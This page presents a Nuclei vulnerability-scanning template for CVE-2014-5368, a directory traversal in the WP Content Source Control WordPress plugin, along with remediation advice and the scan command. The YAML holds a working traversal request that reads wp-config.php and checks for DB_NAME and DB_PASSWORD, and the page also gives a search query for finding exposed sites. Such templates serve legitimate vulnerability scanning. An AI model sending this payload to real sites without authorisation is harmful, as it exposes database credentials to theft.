WordPress Plugin WP Content Source Control - Directory Traversal

ID: CVE-2014-5368

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,seclists,wp_content_source_control_project

Description

A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.

YAML Source

id: CVE-2014-5368

info:
  name: WordPress Plugin WP Content Source Control - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Update to the latest version of the WP Content Source Control plugin to fix the directory traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5368
    - https://www.exploit-db.com/exploits/39287
    - http://seclists.org/oss-sec/2014/q3/417
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/95374
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5368
    cwe-id: CWE-22
    epss-score: 0.09191
    epss-percentile: 0.94648
    cpe: cpe:2.3:a:wp_content_source_control_project:wp_content_source_control:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wp_content_source_control_project
    product: wp_content_source_control
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-source-control"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,seclists,wp_content_source_control_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ee753bc3105515e843f378cdf99889351d0bfae9b25ac9abca60fed75405c860022100bb9081525b1ffcd78f0aef428ac6b8eb81d40ad907894ff0e7586f00ed038c09:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-5368.yaml"

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